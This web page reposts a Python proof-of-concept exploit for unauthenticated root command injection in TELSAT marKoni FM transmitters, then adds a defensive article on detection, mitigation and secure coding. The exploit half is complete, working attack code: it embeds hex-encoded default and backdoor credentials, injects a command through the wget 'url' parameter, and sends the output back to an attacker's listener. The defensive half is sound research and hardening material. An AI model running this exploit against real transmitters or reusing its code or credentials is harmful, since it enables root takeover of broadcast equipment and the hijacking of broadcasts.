TELSAT marKoni FM Transmitter 1.9.5 - Root Command Injection

Exploit Author: LiquidWorm Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2024-03-18
#!/usr/bin/env python
#
#
# TELSAT marKoni FM Transmitter 1.9.5 Root Command Injection PoC Exploit
#
#
# Vendor: TELSAT Srl
# Product web page: https://www.markoni.it
# Affected version: Markoni-D (Compact) FM Transmitters
#                   Markoni-DH (Exciter+Amplifiers) FM Transmitters
#                   Markoni-A (Analogue Modulator) FM Transmitters
#                   Firmware: 1.9.5
#                             1.9.3
#                             1.5.9
#                             1.4.6
#                             1.3.9
#
# Summary: Professional FM transmitters.
#
# Desc: The marKoni FM transmitters are susceptible to unauthenticated
# remote code execution with root privileges. An attacker can exploit
# a command injection vulnerability by manipulating the Email settings'
# WAN IP info service, which utilizes the 'wget' module. This allows
# the attacker to gain unauthorized access to the system with administrative
# privileges by exploiting the 'url' parameter in the HTTP GET request
# to ekafcgi.fcgi.
#
# -------------------------------------------------------------------------
# [lqwrm@metalgear ~]# python yp.tiolpxe 10.0.8.3:88 backdoor 10.0.8.69 whoami
# Authentication successful for backdoor
# Injecting command: whoami
# Listening on port 9999
# ('10.0.8.3', 47302) called back
# Received: root
# Housekeeping...
# Zya and thanks for stopping by!
#
# [lqwrm@metalgear ~]# 
#
# -------------------------------------------------------------------------
#
# Tested on: GNU/Linux 3.10.53 (armv7l)
#            icorem6solox
#            lighttpd/1.4.33
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2024-5808
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5808.php
#
#
# 10.11.2023
#

from colorama import init, Fore
import re,os,sys,requests
import socket,threading
from time import sleep
init()

def just_listen_to_me(lport, cstop):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    print("Listening on port " + str(lport))
    try:
        conn, addr = s.accept()
        print(addr, "called back")
        cstop.set()
    except socket.timeout:
        print("Call return timeout\nCheck your ports")
        conn.close()
    while True:
        try:
            odg = conn.recv(1771).decode()
            uam = re.search(r"User-Agent:\s*(.*)", odg)

            if uam:
                uav = uam.group(1)
                print(f"Received: {uav}")
                exit()
            else:
                print("No output for you")
        except:
            print("Housekeeping...")
            exit()
    s.close()

def authenticate(ipaddr, option): #### Encrypted Shit ####_"
    auth_url = f"http://{ipaddr}" # oOoOoOoOoOoOoOoOoOoOoOo"
    ep = "/cgi-bin/ekafcgi.fcgi?OpCode=" ##################"
    if option == "user": ##################################"
        username = "\x75\x73\x65\x72" #####################"
        password = "\x75\x73\x65\x72" #####################"
    elif option == "admin": ###############################"
        username = "\x61\x64\x6D\x69\x6E" #################"
        password = "\x61\x64\x6D\x69\x6E" #################"
    elif option == "backdoor": ############################"
        username = "\x66\x61\x63\x74\x6F\x72\x79" #########"
        password = "\x69\x6E\x6F\x6B\x72\x61\x6D\x32\x35"#_"

    authp = {
        'username': username,
        'password': password
    }

    resp = requests.get(auth_url + ep + "1", params=authp)

    if "Set-Cookie" in resp.headers:
        print(f"Authentication successful for {option}")
        auth_cookie = resp.headers["Set-Cookie"].split(";")[0]
        return auth_cookie
    else:
        print(f"Authentication failed for {option}.")
        print("Try a different option.")
        return None

def execute(ipaddr, cookie, command, listen_ip):
    print(f"Injecting command: {command}")
    ep = "/cgi-bin/ekafcgi.fcgi?OpCode="
    eden = f"http://{ipaddr}{ep}26&param=wget&ena=1&url=-U%20%60{command}%60%20{listen_ip}:9999"
    dva = f"http://{ipaddr}{ep}27"
    tri = f"http://{ipaddr}{ep}26&param=wget&ena=0&url="
    clear = f"http://{ipaddr}{ep}3&com1=203C%20001001"

    headers = {"Cookie": cookie}

    requests.get(eden, headers=headers)
    sleep(2)
    requests.get(dva, headers=headers)
    sleep(2)
    requests.get(tri, headers=headers)
    sleep(1)
    requests.get(clear, headers=headers)
    print("Zya and thanks for stopping by!")
    exit(0)

def njaaah(text):
    columns = os.get_terminal_size().columns
    print(text.center(columns))

zsl = "\033[91mWaddup!\033[0m" #Win64
mrjox = f"""
     ________
   /          \\
  /    ____    \\
 |   /    0 \\   |
 |   \\______/   | 
  \\____________/  {zsl}
       | |
      /   \\
     /  O  \\
    |    O  \\
    |       \\
    |        \\
    |_________|
        """

if len(sys.argv) != 5:
    print()
    print("This is a PoC script for the marKoni transmitters 0day")
    print("Usage: python yp.tiolpxe <target_ip:port> <option> <listen_ip> <command>")
    print("Option: 'user', 'admin', 'backdoor'")
    print("Default listening port: 9999")
    njaaah(mrjox)
    exit()

ipaddr = sys.argv[1]
opt = sys.argv[2]
listen_ip = sys.argv[3]
command = sys.argv[4]

opt_map = {
    "admin"    : "admin",
    "user"     : "user",
    "backdoor" : "backdoor"
}

if opt in opt_map:
    auth_cookie = authenticate(ipaddr, opt_map[opt])
    if auth_cookie:
        cstop = threading.Event()
        lt = threading.Thread(target=just_listen_to_me, args=(9999, cstop))
        lt.start()
        execute(ipaddr, auth_cookie, command, listen_ip)
        cstop.set()
        lt.join()
else:
    print("Invalid option.")


TELSAT marKoni FM Transmitter 1.9.5 — Root Command Injection: Analysis, Detection & Mitigation

This article explains a critical unauthenticated remote command injection vulnerability that affects several marKoni FM transmitter models and firmware versions. It covers the technical root cause at a high level, real-world impact, detection strategies, mitigation and remediation steps, and secure-development recommendations to prevent similar issues in embedded web interfaces.

Quick summary

  • Vendor: TELSAT (marKoni product family)
  • Affected components: embedded web management interface (fastCGI endpoint)
  • Root cause: unsanitized user-supplied data passed to a system-level helper (wget) resulting in command injection
  • Impact: unauthenticated, remote arbitrary command execution as root
  • Advisory: ZSL-2024-5808 (public advisory)

Affected products and firmware (representative)

Product familyRepresentative firmware
Markoni-D (Compact) FM Transmitters1.9.5, 1.9.3, 1.5.9, 1.4.6, 1.3.9
Markoni-DH (Exciter + Amplifiers)Same series
Markoni-A (Analogue Modulator)Same series

Technical description (non-actionable)

The embedded web management interface exposes a FastCGI endpoint used for configuration operations. One of the operations invokes the platform’s wget helper to query external WAN IP information or to download resources. Input received via HTTP parameters (used to build wget invocations) is not properly validated or constrained before being incorporated into a shell invocation. As a result, carefully crafted input can escape the intended argument context and inject arbitrary shell commands that are executed with root privileges by the web process.

Because the vulnerable endpoint is accessible without prior authentication in some configurations and the web process runs with elevated privileges, the flaw yields remote, unauthenticated root code execution — a high-severity compromise impacting confidentiality, integrity and availability of the device and of the broadcast chain it controls.

Why this is severe

  • Embedded devices often run with root context and limited runtime defenses (no ASLR, no address space protections, limited process isolation).
  • The device provides critical infrastructure services (broadcast transmitters), so compromise has operational impact.
  • Unauthenticated remote exploitability removes the need for credential theft or local access.

Real-world impact and use cases

An attacker who successfully exploits the injection can perform a wide range of actions as root: install persistence, modify firmware/configuration, intercept or alter broadcast content, pivot into management networks, or stage further attacks against connected systems. Even if the intent is not sabotage, attackers can exfiltrate credentials, telemetry and configuration data.

Detection and indicators of compromise (IoCs)

Detection can focus on both network- and host-level telemetry. Below are practical indicators and examples of what to look for in logs and monitoring systems.

Network-level indicators

  • Unexpected outbound connections from the transmitter to third-party IPs and unusual ports (e.g., reverse shells or command-and-control destinations).
  • HTTP requests to the FastCGI endpoint (the device’s management URI) containing unusual or oddly encoded parameters.
  • New listening sockets on uncommon high ports on the device (e.g., newly listening TCP ports that weren’t present in baseline scans).

Host-level indicators

  • Process executions of wget (or other download helpers) spawned by the web/lighttpd/fastcgi process.
  • New files in writable filesystem areas or changes to configuration files shortly after web requests.
  • Unexpected persistent crontab entries, init scripts, or modified firmware image files.

Log-search examples (safe, non-actionable)

Search your web access logs for requests to the management FastCGI path and for unusual parameters; look for outgoing connections around the same timestamps. Focus on anomalies rather than exact payload matching.

# Example search concept (non-executable): find web log entries referencing management fastcgi endpoint
# Adjust the path and fields to your log format and system
grep -i "ekafcgi.fcgi" /var/log/lighttpd/access.log | less

Explanation: This example shows the type of log query to find calls to the fastCGI endpoint. Do not rely solely on a single string; correlate with outbound connections and process activity to determine compromise.

Immediate mitigations

  • Isolate affected devices from untrusted networks. If possible, remove the device from the Internet and restrict management traffic to a dedicated, hardened management network.
  • Block outgoing connections from the device except to required update/management hosts (egress firewall rules).
  • Disable the vulnerable feature (WAN IP info / remote download functionality) in the web UI if that option is available.
  • Rotate any management credentials and keys stored on or accessible from the transmitter after ensuring no persistence mechanisms remain.
  • Monitor for indicators listed above and perform integrity checks on firmware/configuration files.

Remediation and patching

Apply vendor-supplied patches or firmware updates as soon as they are available. If a vendor patch is not immediately available, use the mitigations above and plan for device replacement if long-term support is not guaranteed.

Work with the vendor to obtain firmware addressing the root cause. Verify that the fix includes:

  • Removal of direct shell invocation using untrusted strings.
  • Proper input validation and canonicalization for any parameters used in system calls.
  • Least-privilege execution model for web processes where feasible.

Secure configuration checklist for operators

  • Network segmentation: keep transmitter management networks separate from corporate and public networks.
  • Restrict remote management access to known administrator IPs via firewall or VPN.
  • Enforce strong, unique credentials and change default credentials shipped with devices.
  • Harden egress filtering: allow only necessary outbound hosts and ports.
  • Enable and collect device logs centrally for long-term retention and correlation.
  • Plan and test firmware update procedures; ensure updates are cryptographically signed and verified.

Secure-coding and design recommendations (for vendors)

The root cause here is unsafe composition of shell commands from untrusted input. Vendors should follow secure design practices for embedded device management interfaces:

  • Avoid invoking shell utilities with user-controlled arguments. Use native libraries or language APIs that do not require executing a shell.
  • If invoking external programs is necessary, pass arguments using execve-style APIs (no shell interpolation) and validate inputs strictly.
  • Implement allow-lists (whitelists) for any external URLs or hostnames the device will access automatically.
  • Run web management processes with the minimum privileges necessary and use process isolation containers where possible.
  • Use robust authentication (unique credentials per device, MFA for management where feasible) and rate-limiting on management endpoints.

Safe server-side pattern: avoid shells, validate and use libraries

# Example (Python Flask) — safe pattern for downloading a URL
import requests
from urllib.parse import urlparse

ALLOWED_HOSTS = {"updates.markoni.example", "ipinfo.example"}

def is_allowed_url(url):
    try:
        p = urlparse(url)
        # allow only http/https and specific hostnames
        return p.scheme in ("http", "https") and p.hostname in ALLOWED_HOSTS
    except Exception:
        return False

def fetch_url(url):
    if not is_allowed_url(url):
        raise ValueError("URL not allowed")
    # use requests library; do NOT pass to shell
    resp = requests.get(url, timeout=10)
    resp.raise_for_status()
    return resp.content

Explanation: This code demonstrates a safe approach: 1) parse and validate the URL against a whitelist of accepted hosts, 2) use a native HTTP library (requests) instead of invoking a shell command like wget, which prevents shell injection, and 3) apply timeouts and error handling. This pattern removes opportunities for command injection.

Safe invocation of external helpers (POSIX C example concept)

/* Conceptual approach: if external binary must be used, do not invoke via system().
   Use execve with an argv array that separates program and arguments to avoid shell parsing. */char *argv[] = {"/usr/bin/wget", "-O", "/tmp/out", "--header", "User-Agent:foot", url, NULL};
/* Fork and execve using argv; do not build a single command string that is passed to /bin/sh. */

Explanation: The code snippet shows the secure principle: never pass user input to /bin/sh or system(). Instead, provide separate argv elements to execve so the runtime does not perform shell interpretation of special characters.

Incident response checklist

  • Isolate the device immediately from all networks.
  • Collect volatile evidence: RAM image (if possible), running process list, listening sockets, open connections.
  • Collect persistent evidence: file system snapshot, configuration files, web server logs, and firmware images.
  • Re-image the device from known-good firmware provided by the vendor; do not reuse an image from the potentially compromised device.
  • Rotate credentials and audit accounts that had access to the device or used the device’s stored credentials.
  • Report the incident to the vendor and follow coordinated disclosure when appropriate.

Threat hunting and monitoring guidance

  • Create baseline telemetry for each device (open ports, running processes, scheduled jobs) and alert on deviations.
  • Alert on unapproved outbound connections from device IPs and on newly opened listeners.
  • Monitor for process tree anomalies (e.g., web server spawning shells or wget) and unexpected file writes to persistent locations.

References and further reading

  • Advisory: ZSL-2024-5808 (Zero Science Lab) — vendor and vulnerability advisory
  • Secure coding principles: do not use system(), always validate input, prefer library APIs
  • Embedded device hardening guides from industry bodies and vendors

Closing note

Command injection in embedded management interfaces is a recurring and high-impact class of vulnerability. Operators should prioritize network segmentation, strict egress controls and prompt firmware updates. Vendors should follow least-privilege and input-sanitization principles and remove unnecessary use of shell-based helpers from management logic.